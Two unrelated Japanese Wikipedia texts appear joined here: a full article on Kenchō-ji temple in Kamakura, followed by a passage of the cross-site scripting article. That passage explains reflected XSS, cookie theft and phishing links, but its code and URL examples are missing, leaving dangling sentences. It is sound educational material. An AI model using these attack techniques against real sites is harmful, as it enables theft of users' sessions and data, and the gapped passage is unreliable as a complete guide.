建長寺は鎌倉幕府第5代執権・北条時頼により創建された禅宗寺院で、建長5年([[1253年]])に[[落慶]]供養が営まれている。開山(初代住職)は南宋からの渡来僧・蘭渓道隆(大覚禅師)であった。当時の日本は、[[承久の乱]]([[1221年]])を経て[[北条氏]]の権力基盤が安定していた。京都にある[[朝廷 (日本)|朝廷]]の全国支配力は弱まり、政治的には鎌倉が事実上、日本の首府となっていた時代であった。北条時頼は熱心な仏教信者であり、禅宗に深く帰依していた。<!--建長寺の創建は、そうした時頼の信仰に基づくことは無論であるが、それとともに、北条氏の権勢を誇示し、当時、海外渡来の最新文化であった「禅」の寺を建てることにより、京都の公家文化に対抗しようとする意識の現われとも見られる。寺号を当時の年号「建長」からとっていることからも、この寺は単なる北条氏の私寺ではなく、官寺としての性格をもっていたことがうかがえる。-->
創建の時期については、鎌倉幕府の公式記録である『[[吾妻鏡]]』には建長3年([[1251年]])から造営が始められ、同5年([[1253年]])に落慶供養が行われたとある。造営開始時期については建長元年([[1249年]])ないし2年からとする異説もあるが、おおむね建長元年([[1249年]])頃から造営の準備がなされ、同5年([[1253年]])に完成したとされる。建長寺が所在する山ノ内は、幕府のある鎌倉の中心部からは山一つ隔てた所に位置し、鎌倉の北の出入口の護りに当たる要衝の地であって、北条氏の本拠地でもあった。建長寺の境内が広がる谷(鎌倉では「やつ」と読む)は、元は「地獄ヶ谷」と呼ばれる処刑場で、地蔵菩薩を本尊とする伽羅陀山心平寺という寺が建っていた。建長寺の本尊が禅宗寺院の本尊として一般的な[[釈迦如来]]ではなく[[地蔵菩薩]]であるのは、こうした因縁によるものである<ref>建長寺編集・発行『建長寺』、p.3(該当頁執筆は貫達人)。元境内の[[鎌倉学園中学校・高等学校]]工事の際、多数の人骨が発見されている。</ref>。また、心平寺の旧本尊と伝える地蔵菩薩像は今も建長寺に伝来している。
開山の蘭渓道隆は中国・宋末の禅僧で、[[寛元]]4年([[1246年]])、33歳で来日した。はじめ[[筑前国]][[博多]]に着き、京都に一時住んだ後、[[宝治]]2年([[1248年]])に鎌倉入りした。建長寺が創建されるまでは常楽寺(鎌倉市大船に現存)に住した。当時の日本には、すでに半世紀以上前に建立された[[建仁寺]](京都)や[[寿福寺]](鎌倉)などの禅宗系寺院があったが、当時これらの寺院は禅宗と他宗との兼学であり、純粋禅の道場としては建長寺は、聖福寺(北九州)などに次ぐ古さを誇るとされている。伽藍配置は中国式であり、寺内では日常的に中国語が使われていたという。蘭渓道隆の禅風は中国宋時代の純粋禅を受け継いだ厳格なものであった。道隆は[[弘長]]2年([[1262年]])京都の建仁寺に移ったが2年後に鎌倉に戻って建長寺住持に復帰。その後、[[文永の役]]の際には中国側のスパイと疑われたためか、[[甲斐国]](山梨県)に流されたこともあったが、のちに許されて鎌倉に戻り、[[弘安]]元年([[1278年]])4月、建長寺住持に再度復帰。同じ年の7月、異国日本で生涯を閉じた。66歳であった。
=== その後 ===
その後の建長寺は[[正応]]6年([[1293年]])[[4月12日 (旧暦)|4月12日]]に発生した[[鎌倉大地震]]により建造物の大半が倒壊、炎上。[[元 (王朝)|元]]から来日した[[一山一寧]]を第十世に任じて再建にあたらせる。だが、続いて[[正和]]4年([[1315年]])、[[応永]]23年([[1416年]])をはじめとするたびたびの火災で創建当初の建物を失った。鎌倉時代末期には修復費用獲得のため、幕府公認で元へ貿易船([[寺社造営料唐船]])が派遣され、「[[建長寺船]]」と呼ばれた。江戸時代には徳川家の援助で主要な建物が新築または他所から移築されたが、[[1923年]]の[[関東大震災]]でも大きな被害を受けている。
== 伽藍 ==
創建当時の建物は失われたとはいえ、総門・山門・仏殿・[[法堂]](はっとう)<!--「ほうどう」等と誤読されやすいので読み仮名は必要。-->・方丈が一直線に並ぶ伽藍配置は、創建当時の面影を残すものとされる。なお、地形の関係で総門 - 山門間の参道は斜めになっている。
=== 総門 ===
[[天明]]3年([[1783年]])の建立。[[1940年]]に京都の[[般舟院|般舟三昧院]](はんじゅざんまいいん)から移築されたものである{{efn|般舟三昧院は[[後土御門天皇]]によって建立された皇室ゆかりの寺院で、もと伏見([[京都市]][[伏見区]])にあり、京都市[[上京区]]今出川通り千本東入るに移転した後、廃寺となっている。}}。総門に掲げられた「巨福山」の額は建長寺10世住持で書の名手である渡来僧・一山一寧の筆と伝える。「巨」字の第3画目の下に、余分な「点」が書き加えられているが{{sfn|新編鎌倉志|1015|p=48}}、この点があることによって字に安定感が出ているとされる。<gallery widths="240">
ファイル:巨福山建長寺総門.JPG|総門
</gallery>
=== 山門(三門) ===
[[安永]]4年([[1775年]])の上棟で、[[2005年]]に[[重要文化財]]に指定されている。「三門」とも表記する(重要文化財指定名称は「建長寺山門」<ref>[https://bunka.nii.ac.jp/heritages/detail/202839 建長寺山門](文化遺産オンライン)</ref>)。
三間一戸の二重門で{{efn|「三間一戸」は、正面の柱間が3間で、うち中央の1間を通路とする意。「二重門」は、2階建ての門で、1階と2階の境にも軒の張り出しを有するものをいう(1・2階境の軒の張り出しがないものは「楼門」)。}}、上層屋根はこけら葺き形銅板葺きとする。棟梁は建長寺大工の河内長兵衛である。下層はすべて吹き放しで、扉は設けていない。禅宗様建築は一般に木柄の細いのを特色とするが、この門は柱などの各種部材が太く豪快であるのが特色である。門の中心に位置する2本の柱からは前後左右に虹梁(こうりょう)を架け、虹梁上に大瓶束(たいへいづか)を立てて鏡天井を支える。上層の正面中央には唐破風を設け、ここに「建長興国禅寺」の扁額を掛ける。上層内部には宝冠釈迦如来像を中心に十六羅漢像、五百羅漢像(銅造)などを安置する(上層は非公開)。関東大震災では上層の屋根が破損したが、これは本来、こけら葺き用に造られていた小屋組に江戸時代末期に重い銅板を葺いたことが原因であり、門の主要部材の被害は軽微であった<ref>文化庁文化財部「新指定の文化財」『月刊文化財』502、第一法規、2010、pp.2, 11 - 12</ref><ref name="名前なし-1">清水擴「建長寺山門・法堂の指定の意義」『月刊文化財』502、第一法規、2010、pp.4 - 5</ref>。<gallery widths="240">
ファイル:Kenchoji Sanmon 2009.jpg|建長寺三門(2009年)
ファイル:巨福山建長寺三門.JPG|巨福山建長寺三門
ファイル:建長寺三門に掲げられた扁額.jpg|建長寺三門に掲げられた扁額
</gallery>
=== 仏殿 ===
重要文化財。
[[寄棟造]]で単層[[裳階]]が付く。
芝([[東京都]][[港区 (東京都)|港区]])の[[増上寺]]にあった、[[徳川秀忠]]夫人崇源院の[[廟|霊屋]](たまや)を建て替えに際し、譲渡されたもので、[[正保]]4年([[1647年]])に建長寺に移築されている。
もともと[[霊廟]]建築として造られたものであるので、屋根や天井などの形式が一般的な禅宗の仏殿とは異なっている。すなわち、屋根は入母屋造でなく寄棟造である。また、天井は禅宗[[仏殿]]では平板な「鏡天井」とし、龍などの絵を描くことが多いが、この仏殿の天井は和様の格天井(ごうてんじょう)である。
堂内には本尊の地蔵菩薩坐像(室町時代の作、像高2.4メートル)、もとこの地にあった心平寺の旧本尊[[地蔵菩薩]]坐像、千体地蔵菩薩立像、[[千手観音]]坐像、[[伽藍神]]像などを安置する。堂前にあるビャクシン(白槙、和名イブキ)の古木7本は開山蘭渓道隆手植えと伝えるもので、樹齢約750年といわれる。<gallery widths="240">
ファイル:Kencho ji BuildingII.jpg|建長寺仏殿
ファイル:建長寺仏殿内部.jpg|建長寺仏殿の内部
ファイル:建長寺の柏槇(ビャクシン).jpg|建長寺仏殿前に立つ柏槇(ビャクシン)
</gallery>
=== 法堂 ===
禅宗以外の寺院の「講堂」に相当する建物。入母屋造、方三間、裳階(もこし)付き、銅板葺き。[[文化 (元号)|文化]]11年([[1814年]])の上棟、文政8年(1825年)の竣工である。棟梁は建長寺大工の河内久右衛門。内部には身舎・裳階の境に柱が立つのみで間仕切りはない。床は瓦の四半敷きとする。堂内中央奥に高さ2メートルを超える法座を設け、その奥に本尊千手観音坐像を安置する。なお、天井の雲龍図は、鏡天井に直接描かれたものではなく、別に制作された絵を掲げたものである。鎌倉最大級の木造建築で2005年に重要文化財に指定された<ref>文化庁文化財部「新指定の文化財」『月刊文化財』502、第一法規、2010、pp.2, 13 - 14</ref><ref name="名前なし-1"/>。
天井画は[[小泉淳作]]筆の雲龍図。[[2005年]][[愛知万博]]に陳列された[[パキスタン]]の[[ラホール]]にある{{ill2|ラホール中央博物館|en|Lahore Museum}}所蔵の[[釈迦]][[苦行]]像の[[レプリカ]]が愛知万博終了後にパキスタンより寄贈され、安置された。<gallery widths="240">
ファイル:巨福山建長寺法堂.JPG|法堂
ファイル:雲龍図.JPG|鎌倉に住んでいた日本画家小泉淳作の筆による「雲龍図」(法堂天井画)
ファイル:Kamakura Kencho-ji Hatto Innen 4.jpg|「釈迦苦行像」
</gallery>
=== 唐門 ===
重要文化財で[[方丈]]入口の門。仏殿と同じく、芝の[[徳川秀忠]]夫人[[崇源院]]霊屋から移築したもの。関東大震災以来の大修理が2011年5月に終了し、移築当時の姿が再現された。<gallery widths="240">
ファイル:KenchojiKaramon20111224.jpg|唐門(2011年の修理後)
ファイル:巨福山建長寺唐門.JPG|唐門(2011年の修理前)
</gallery>
=== 方丈 ===
「竜王殿」とも称する{{sfn|新編鎌倉志|1015|p=49}}。総門と同じく、京都の般舟三昧院から移築したもの。庭園は[[夢窓疎石]]の作といわれる。
=== 華厳塔跡 ===
高さ20mを超える[[五重塔]](一説に[[三重塔]])があったが、参道建設時に塔跡は壊され現在は[[石碑]]が残るのみ。
=== 半僧坊 ===
境内のもっとも奥、山の中腹にある、建長寺の鎮守である。
ここに祀られる半僧坊権現は、[[1890年]]に当時の住持であった霄(おおぞら)貫道禅師が[[静岡県]][[引佐郡]]奥山(現・[[浜松市]][[北区 (浜松市)|北区]])の[[方広寺 (浜松市)|方広寺]]から[[勧請]]した神で、火除けや招福に利益があるという。半僧坊権現とは、[[後醍醐天皇]]皇子の[[無文元選]]禅師(前述の方広寺開山)の元に忽然と現われ、無理やり弟子入りした白髪の老人で、神通力を持っており、無文禅師が死去するとその老人もまた姿を消したという。
半僧坊へ上る石段の途中には天狗の像がある!
=== その他 ===
境内にはこのほか、江戸時代初期の豪商・[[河村瑞賢]]の墓や、[[織田長益]](有楽斎)のものとされる墓などがある<ref name="access"/>。<gallery widths="240">
ファイル:The Grave of Kawamura Zuiken.JPG|河村瑞賢の墓
</gallery>
== 塔頭 ==
塔頭(たっちゅう)の本義は、祖師や高僧の墓塔を守るために、師の徳を慕う弟子らが建立した小寺院を意味するが、転じて大寺院の境内周辺に建てられた小寺院を指す。建長寺には最盛期には49か院の塔頭があったが、現在は境外塔頭を含め12か院を残すのみである。塔頭のうち常時公開されているのは境外塔頭の[[円応寺]](新居閻魔堂)のみ。[[長寿寺 (鎌倉市)|長寿寺]]は春秋などに時期を限って公開、妙高院、龍峰院は観音霊場巡りの巡礼者のみ入れる。他の塔頭は原則非公開である。<ref>本節の内容は、建長寺編集・発行『建長寺』、pp.23 - 24、およびかまくら春秋社編、2001、『鎌倉の寺小事典』[[かまくら春秋社]] {{ISBN2| 4774001732}}による。</ref>
; 西来庵(せいらいあん)
: 開山蘭渓道隆の墓塔を守る[[塔頭]]寺院である。[[山門]]の右手にある嵩山門(すうざんもん)が入口だが、そこから先は修行道場のため、一般の立ち入りは禁止されている。開山蘭渓道隆の墓塔(石造無縫塔)、蘭渓の肖像彫刻を安置する開山堂とその手前に立つ昭堂(重要文化財)などがある。昭堂は[[寛永]]11年([[1634年]])頃の建立である。
; 妙高院(みょうこういん)
: 第28世肯山聞悟(こうざんもんご)の塔所{{sfn|新編鎌倉志|1015|p=58}}。山号は'''若昇山'''。[[貞和]]二年([[1346年]])頃の創建とされる。本尊は宝冠釈迦如来(札所本尊は聖観音)。このほか肯山聞悟坐像([[天保]]9年の銘あり)がある。[[鎌倉三十三観音霊場]]27番札所。
; 同契院 (どうけいいん)
: 第31世象外禅鑑の塔所{{sfn|新編鎌倉志|1015|p=59}}。本尊は[[十一面観音]]。元は[[円覚寺]]山内にあったが、[[応安]]7年(1374年)に火災に遭い、その後建長寺に移転した。移転後も[[享保]]21年([[1736年]])に火災に遭い、客殿・庫裏が消失したと記録に残る。
; 宝珠院(ほうしゅいん)
: 第35世了堂素安の塔所{{sfn|新編鎌倉志|1015|p=58}}。山号は'''竹園山'''。本尊は釈迦如来(旧本尊は[[地蔵菩薩]]だが盗難に遭い消失)。本院の庫裏に作家の[[葛西善蔵]]が[[大正]]8年より寄宿し、執筆をおこなった。後年[[関東大震災]]で被災したため、帰京する。
; 龍峰院(りゅうほういん)
: 第15世約翁徳倹の塔所{{sfn|新編鎌倉志|1015|p=58}}。山号は'''蓬莱山'''。本尊は[[聖観音]]。[[徳治]]2年([[1307年]])の創建。鎌倉三十三観音霊場29番札所。
; 天源院(てんげんいん)
: 第13世南浦紹明(なんぽじょうみん)の塔所{{sfn|新編鎌倉志|1015|p=58}}。山号は'''雲閑山'''。本尊は釈迦如来。
; 正統院(しょうとういん)
: 第14世高峰顕日の塔所{{sfn|新編鎌倉志|1015|p=58}}。山号は'''天津山'''。本尊は文殊菩薩。もとは[[浄智寺]]にあったが、[[夢窓疎石]]によって建長寺に移された。境内地はもと[[無学祖元]]の塔所として建てられた正続院の跡地である。正続院は円覚寺に移されている。境内の墓地にある[[やぐら]]内に[[特攻隊]]の戦死者を祀る「神雷戦士之碑」が建つ。碑は[[1965年]][[3月21日]]に建立され、特攻による戦死者829名と特攻機のテスト機殉難者の氏名や階級・出身地が刻まれている。<ref>[[清田正弘]] 『かまくら今昔抄60話 第二集』[[冬花社]] [[2009年]] ISBN 978-4925236560, 23P</ref>
; 回春院(かいしゅんいん)
: 方丈の裏手から半僧坊へ向かう道の途中を右に折れた谷戸の奥に位置する。第21世玉山徳璇(4字目は王偏に「旋」)の塔所{{sfn|新編鎌倉志|1015|p=59}}。山号は'''幽谷山'''。本尊は[[文殊菩薩]]。
; 華蔵院(けぞういん)
: 第60世伯英徳俊の塔所{{sfn|新編鎌倉志|1015|p=58}}。境外塔頭。民有地にあり、立入禁止となっている。
; 禅居院 (ぜんきょいん)
: 建長寺総門から県道を挟んだ向かい側に位置する。第22世清拙正澄の塔所{{sfn|新編鎌倉志|1015|p=58}}。山号は'''石屏山'''。本尊は聖観音。
; [[長寿寺 (鎌倉市)|長寿寺]]
: 足利尊氏の菩提のため、子の足利基氏(関東管領)が建立。開山は古先印元。本尊は釈迦如来。
; [[円応寺]]
: 別名新居閻魔堂。もとは由比郷、続いて材木座に移転し、近世に現在地に移転した。本堂には閻魔王を含む冥界の十王像を安置する。桑田道海(智覚禅師)の開創というが定かでない。
== 文化財 ==
[[ファイル:Hogo.jpg|thumb|250px|蘭渓道隆筆「法語規則」のうち「法語」]]
[[File:Kannon (Kenchoji)2.jpg|thumb|150px|絹本墨画観音像(32幅のうち)]]
[[File:Kannon (Kenchoji)1.jpg|thumb|150px|絹本墨画観音像(32幅のうち)]]
=== 国宝 ===
* 絹本淡彩蘭渓道隆像 - 文永8年([[1271年]])に描かれた[[頂相]]([[肖像|肖像画]])。賛(絵の上部に書かれた文章)は像主蘭渓道隆の自筆である。
* 大覚禅師[[禅林墨跡|墨蹟]] [[禅林墨跡#法語・規則|法語規則]] 2幅 - 「墨蹟」は禅宗高僧の遺墨を指す用語。大覚禅師(蘭渓道隆)自筆の「法語」と「規則」である。「法語」には寺内の僧に対し、怠慢をいましめ、修行に専念すべき旨が書かれ、「規則」は修行僧の日常生活について細かく規定したものである。洗面の時間帯から[[すだれ|簾]]の巻き上げ方まできわめて厳格に規定されている。
* 梵鐘 - 山門右手の鐘楼に架かる。高さ約2.1メートル。建長寺創建当時の数少ない遺品の1つとして貴重である。建長7年([[1255年]])、鋳物師物部重光の制作。銘は蘭渓道隆が撰(作文)し、筆を執ったもので、文字は陽鋳(字形が彫り込まれるのではなく立体的に浮き出している)となっている。撞座の位置が高い点など、全体に復古的な作風を示す鐘である。銘文中の「建長禅寺」は、日本における「禅寺」の語の初見とされている。
=== 重要文化財 ===
* 山門<ref name="名前なし-2">平成17年7月22日文部科学省告示第122号</ref>
* 仏殿
* 法堂<ref name="名前なし-2"/>
* 昭堂
* 唐門
* 大覚禅師塔(石造無縫塔)
* 絹本著色釈迦三尊像
* 絹本著色十六羅漢像 8幅
* 絹本著色大覚禅師像(経行像)
* 絹本著色大覚禅師像 霊石如芝賛
* 絹本墨画観音像 32幅
* 紙本墨画喜江禅師像 [[祥啓]]筆 [[玉隠英璵]]賛
* 木造伽藍神像 5躯<ref>平成22年6月29日文部科学省告示第98号</ref>
* 木造北条時頼坐像
* 木造蘭渓道隆坐像(西来庵開山堂安置)<ref>平成24年9月6日文部科学省告示第127号</ref>
* 黒漆須弥壇
* 金剛般若経 蘭渓道隆筆 1帖(附:玄津及び元松添状2通)
* 和漢年代記 2冊(附:元禄写本1冊)
* 大覚禅師墨蹟 3幅
* 西来庵修造勧進状 玉隠英璵筆
* 木造高峰顕日坐像(正統院所有) 正和4年(1315年)院恵等の銘あり
※典拠:2000年(平成12年)までの指定物件については、『国宝・重要文化財大全 別巻』(所有者別総合目録・名称総索引・統計資料)(毎日新聞社、2000)による。それ以降の指定物件については個別に脚注を付した。
=== 境内および庭園 ===
境内は[[1966年]](昭和41年)9月12日、「'''建長寺境内'''」として国の[[史跡]]に指定されている。庭園は[[1932年]](昭和7年)7月23日、「'''建長寺庭園'''」として国の史跡および[[名勝]]に指定されている。「建長寺庭園」の指定範囲は仏殿前のビャクシンの植栽と、方丈裏の庭園である<ref>『図説 日本の史跡 6 中世』、同朋舎出版、1991、p.278</ref>。
[[ファイル:建長寺の庭園.jpg|サムネイル|庭園]]
=== 拝観 ===
参拝者や、修学旅行生を含む観光客が年間で約50万人訪れる<ref>[https://www.nikkei.com/article/DGKKZO25513570Q8A110C1CC1000/ 拝観料 相次ぎ値上げ 東大寺・法隆寺など、落書き被害「防犯費かさむ」]『日本経済新聞』朝刊2018年1月11日(社会面)</ref>。大人500円、子供(小中学生)200円の拝観料が必要<ref>[http://www.kenchoji.com/ 大本山 巨福山 建長寺(トップページ)]2018年1月14日閲覧</ref>。前述のように、坐禅修行に使う僧坊などは拝観対象外である<ref name="access">[http://www.kenchoji.com/?page_id=63 大本山 巨福山 建長寺(アクセス)]2018年1月14日閲覧{{リンク切れ|date=2021-4}}</ref>。
指定文化財のうち、国宝の梵鐘は随時見学可能。その他の書画、工芸品の大部分は[[鎌倉国宝館]]に寄託されており、同館の展示で順次公開されるほか、例年11月3日前後に3日間行われる「宝物風入れ」という行事の際、寺内で公開される。なお、近くの円覚寺でも同時期に同様の「宝物風入れ」が実施される。
== 宗学林と関連エピソード ==
[[1886年]]([[明治]]19年)、修行僧学校・宗学林を設立。現在の[[鎌倉学園中学校・高等学校]]の前身となる。現在も同校の経営に関与しているが、明確な形での宗教教育は行っておらず、男子中高一貫教育を行う進学校として運営されている。
同校の出身者である[[桑田佳祐]]が所属する[[サザンオールスターズ]]が、[[2003年]][[6月21日]]に、境内でスペシャル・ライブを行い、三門(山門)がステージとして使用された。入場者はファンクラブ会員の2,500名限定であったが、境内に入れないファンが殺到し、付近の路上は大渋滞となった。三門(山門)は重要文化財に指定される前であったが、音響機材・照明機材が接する場所はすべて[[養生 (作業)|養生]]され、非常に慎重に運営された様である。[[File:Shojoken - Kamakura 02.jpg|thumb|200px|「勝上けん」より望む建長寺境内(※「けん」は山冠に「献」)]]また、2003年[[6月28日]]に『[[FNS27時間テレビ#第17回(2003年)|第17回・FNS27時間テレビ みんなのうた]]』において、スペシャル・ライブの模様を収録した映像が放送された。この際、映像の雰囲気が生放送(生中継)の様に見えたため、視聴者が勘違いしないよう「この模様は事前に収録したものです」とテロップを入れ、さらにアナウンサーからも同様の注意喚起が行われたにもかかわらず、一部視聴者が「サザンオールスターズが今、建長寺でライブをしている」と勘違いして殺到した。
== 交通 ==
* [[横須賀線]]([[東日本旅客鉄道|JR東日本]])[[北鎌倉駅]]下車徒歩20分<ref name="access"/>、[[江ノ島電鉄]](江ノ電バス)3分「建長寺」下車徒歩すぐ<ref name="enoden">[https://www.enoden.co.jp/bus/regular/ 「一般路線バス」](江ノ電バスのサイト)</ref>
* 横須賀線・江ノ島電鉄[[鎌倉駅]]下車徒歩30分<ref name="access"/>、江ノ島電鉄(江ノ電バス)5分「建長寺」下車徒歩すぐ<ref name="enoden"/>
** バスは渋滞が多い。
* 境内にはハイキングコースがつながっており、鎌倉市内の[[瑞泉寺 (鎌倉市)|瑞泉寺]]方面や、さらに[[横浜市]]の[[円海山]]方面まで行くことができる。
== 脚注 ==
{{脚注ヘルプ}}
=== 注釈 ===
{{notelist}}
=== 出典 ===
{{Reflist|2}}
== 参考文献 ==
<!-- 参考文献:実際に参考にした文献一覧(本文中の追加した情報の後に脚注を導入し文献参照ページを示して、実際に参考にした出典〈書籍、論文、資料やウェブページなど〉のみを列挙して下さい。実際には参考にしていないが、さらにこの項目を理解するのに役立つ関連した文献は、「関連文献」などとセクション名を分けて区別して下さい。) -->
* 井上靖、佐和隆研監修、渋沢龍彦、中川貫道著『古寺巡礼東国3 建長寺』、淡交社、1981
*『週刊朝日百科 日本の国宝』87号(称名寺ほか)、朝日新聞社、1998
* 建長寺編集・発行『建長寺』、1999(執筆は貫達人、三浦勝男ほか)
*『日本歴史地名大系 神奈川県の地名』、平凡社
*『角川日本地名大辞典 神奈川県』、角川書店
*『国史大辞典』、吉川弘文館
* {{cite book|和書|title=[[新編鎌倉志]]|editor=河井恒久 等編|publisher=大日本地誌大系刊行会|year=1915|series=大日本地誌大系|volume=第5冊|chapter=巻之三 建長寺|pages=48-62|id={{NDLJP|952770/39}}|ref={{sfnref|新編鎌倉志|1015}}}}
== 関連項目 ==
<!-- 関連項目:本文記事を理解する上での補足として役立つ、関連性のある項目へのウィキ間リンク(姉妹プロジェクトリンク、言語間リンク)、ウィキリンク(ウィキペディア内部リンク)。可能なら本文内に埋め込んで下さい。 -->
{{Commonscat|Kenchoji}}
{{Commonscat|Hansobo Shrine|半僧坊}}
* [[日本の寺院一覧]]
* [[:Category:日本の寺の画像|日本の寺の画像一覧]]
* [[臨済宗]]
* [[禅宗]]
* [[けんちん汁]] - 建長寺発祥という説もある料理。
* [[鎌倉学園中学校・高等学校]]
* [[関東地方の史跡一覧]]
* [[神奈川県の寺院一覧]]
* [[鎌倉市内の寺院一覧]]
== 外部リンク ==
* [http://www.kenchoji.com/ 「臨済宗建長寺派大本山建長寺」の公式ページ]
* [http://www.rinnou.net/cont_03/04kencho/ 建長寺:臨済・黄檗 禅の公式サイト]
* [https://kunishitei.bunka.go.jp/bsys/index 国指定文化財等データベース]
* [https://www.google.co.jp/maps?f=q&source=embed&hl=ja&geocode=&q=%E5%BB%BA%E9%95%B7%E5%AF%BA&aq=&sll=35.333311,139.546972&sspn=0.002687,0.005665&g=%E6%B5%84%E6%99%BA%E5%AF%BA&brcurrent=3,0x601845a245b98fd3:0x7b703f0fa6a2948e,0&ie=UTF8&layer=c&cbll=35.330805,139.553871&panoid=4Y79eDn_vVzq4T0Bl2Glyg&cbp=13,65.14,,0,-15.88&ll=35.330847,139.553972&spn=0.00256,0.005665&utm_campaign=en&utm_medium=et&utm_source=en-et-na-us-gns-svn 建長寺ストリートビュー]
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[[Category:13世紀の仏教寺院]]
[[Category:臨済宗]]
[[Category:臨済宗建長寺派の寺院|*]]
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6,757 | クロスサイトスクリプティング | クロスサイトスクリプティング(英: cross-site scripting)とは、Webアプリケーションの脆弱性もしくはそれを利用した攻撃。脆弱性をツリー型に分類するCWEではこの攻撃を不適切な入力確認 (CWE-20) によるインジェクション (CWE-74) のひとつとして分類している (CWE-79)。略称はXSS。かつてはCSSという略称も使われていたが、Cascading Style Sheetsと紛らわしいのでこの略称はあまり使われなくなった。
「クロスサイト(サイト横断)」という名称は歴史的なもので、初期に発見されたXSSでは脆弱性のあるサイトと攻撃者のサイトを「サイト横断的」に利用して攻撃を実行することから名づけられたものだが、XSSの定義は新しいタイプの攻撃が見つかるたびに拡張され、サイト横断的なものでなくともXSSと呼ぶようになった。
この拡張された定義においてXSS攻撃とは、攻撃者の作成したスクリプトを脆弱性のある標的サイトのドメインの権限において閲覧者のブラウザで実行させる攻撃一般を指す。斜体で書いた部分がXSS攻撃の重要な特徴であり、この特徴により標的サイトの権限がないと実行できないようブラウザが制限している(同一生成元ポリシー)はずの行動を、攻撃者に実行可能にしてしまう。
XSSについて述べる前に、ウェブサイトの仕組みについて簡単に復習する。JavaScriptのようなクライアントサイドのスクリプトは、ウェブサイトが閲覧者が取った行動(例えばフォーム に何を記載したか)を変数の形で取得し、取得した変数値に応じて動的にHTMLを生成する。
セキュリティの観点から見た場合スクリプトには非常に強い権限が与えられている為、これを悪用された場合には大きな危険を伴う事になる。具体的にはスクリプトを使えばブラウザに保管されているcookieの内容を読み書きする事も可能であるし、ログイン時にはサイトからユーザ固有の情報を読み書きする事も可能である。さらにはそうした情報を別のサイト(例えば攻撃者のサイト)に転送する事も可能である。
こうした事情によりウェブブラウザには同一生成元ポリシーという、スクリプトの悪用を制限するためのポリシーが実装されている。このポリシーは、「ウェブページ1に記載されたスクリプトがそれとは別のウェブページ2に関するデータにアクセスできるのは、ページ1と2が同一の「オリジン」にある場合のみである」とするものである。ここでページ1と2のオリジンが同一であるとは、1と2のプロトコル、ホスト名、ポート番号が一致する事を指す。
多くのケースにおいて同一のウェブサイト上にあるページは同一のホスト上において同一のプロトコル(http)と同一ポート番号(80番)で動作するものなので、同一生成元ポリシーはウェブサイトを構築する上であまり邪魔にならない。しかし攻撃者が全く別のサイトからスクリプトによってデータを不正に読み取ろうとしたとしても同一生成元ポリシーがこれを妨げるのでセキュリティは担保される。
XSS攻撃は、ウェブサイト(標的サイト)の脆弱性(XSS脆弱性)を利用する事で、標的サイトの権限で悪意のあるコンテンツ(多くの場合スクリプト)を実行する事を目的として行われる。悪意のあるコンテンツは標的サイトの権限で実行されるので、同一生成元ポリシーによる制限が迂回される。これを悪用する事により攻撃者は標的サイトを閲覧したユーザ(=被害者)のcookieを盗むなど、様々な攻撃を行う。
CWE-79ではXSS攻撃を以下のような攻撃として特徴づけており、XSS脆弱性をXSS攻撃を可能にする脆弱性として特徴づけている。XSS攻撃を行う攻撃者は標的サイトへのデータ入力経路に不正なデータを注入(インジェクション)する。ここでいう「データ入力経路」は正規のユーザのために用意された入力経路(例えばフォーム)の場合もあればそうでない場合もあり、標的サイトのウェブアプリケーションへのWebリクエスト全般が狙われる。また不正なデータはスクリプトなどWebブラウザで実行可能な悪意のあるコンテンツを含んだものが用いられる。
このインジェクションの結果、標的サイトのウェブサーバが攻撃者の用意した不正データを含んだウェブページを動的に生成する。この生成されたウェブページを被害者となるユーザが閲覧すると、不正なデータに含まれる悪意のあるコンテンツが標的サイトの権限により被害者のブラウザ上で実行され、攻撃が成功する。
XSS攻撃に用いる「Webブラウザで実行可能なコンテンツ」は何らかのスクリプトである事が多いので、本稿では以下、特に断りがない限りスクリプトのケースについて述べる。
本節ではXSS脆弱性とXSS攻撃の詳細を具体例を通して述べる。 すでに述べたように、ウェブサイトではユーザがフォームなどで入力した値を変数として持ち、変数にセットされた値に応じてその後の動的なページ内容の生成が行われ、その際には変数値そのものがページに表示されることもある。XSS脆弱性の簡単な例としてはユーザが値を決定できる変数値を加工せずそのままウェブページに表示(エコーバック)してしまうというものがある。具体的には以下のようなシチュエーションでXSS脆弱性が生じる事が多い:
そこで最初に挙げた確認ページのシチュエーションにおける脆弱性を利用したXSS攻撃の例を述べる。今、標的サイト example.comのウェブページにユーザの性別を選択させるフォームがあり、そのページではユーザが選択した値("man"もしくは"woman")を変数genderにそのまま保管し、genderの内容を以下のようにそのまま表示する事でフォームの内容をユーザに再確認させるページを動的に生成するとする(再確認ページのURLはフォームのあるページのURLと同一でも異なってもよい)。
具体的にはたとえばPHPで
もしくは
というスクリプトが書かれていた場合である。
このようなページにおいて、攻撃者が何らかの方法でgenderの値を
にセット(=スクリプトのインジェクション。 詳細後述)し、この状態で被害者となるユーザがこのページにアクセスしてしまうとXSS攻撃は成功となる。
実際、標的サイトのウェブページには、変数genderの値をそのまま表示するページを動的に生成してしまうという脆弱性があるので、攻撃者が前述のようにgenderをセットした状態で被害者となるユーザがこのページを閲覧してしまうと、ウェブサイトは動的に生成したHTML
を被害者のブラウザに送りつけてくるため、悪意のあるスクリプトが被害者のブラウザ上で自動的に実行されてしまう。
なお、ウェブサイトの作者がgenderの値としてフォームに準備した値が「man」と「woman」の2つだけだったとしても、実際にgenderにセットされた値が「man」か「woman」のいずれかであることを、ウェブサイトを置いているサーバ側でチェックしない限り、攻撃者はそれ以外の値(=悪意のあるスクリプト)にgenderをセット可能である。
次に攻撃者が悪意のあるスクリプトをインジェクションする方法を述べる。方法はウェブページにどのようなXSS脆弱性が存在するのかに依存するので、ここではフォームの入力値の2通りの送信方法(GETメソッド、POSTメソッド)に応じてインジェクション方法を2通り述べる。
なお、ここで説明する例はいずれも、後述するXSSの分類では「反射型」に属する。
GETメソッドでは変数の値がURLに明記されるので、フォームの内容をユーザに再確認させるページのURLは
のような形になっている。
そこで攻撃者は被害者となるユーザに以下のURLにアクセスするよう何らかの方法(たとえばexample.comを装った罠メールにこのURLを記載)で促す:
するとgenderが悪意のあるスクリプトにセットされたページを被害者が閲覧することになるので、攻撃が成功したことになる。
ここで重要なのは、上記のURLが「http://example.com/」から始まる事である。これが原因でユーザはexample.comの何ら問題のないWebページだと誤解してしまい、上記のURLをクリックしてしまう可能性がある。
なお、ここでは悪意のあるスクリプトを標的サイトのURLに埋め込む方法を紹介したが、URLの長さには上限がある関係上、埋め込めるスクリプトの長さが制限されてしまうため、攻撃者が行える攻撃の種類が制限されてしまう。
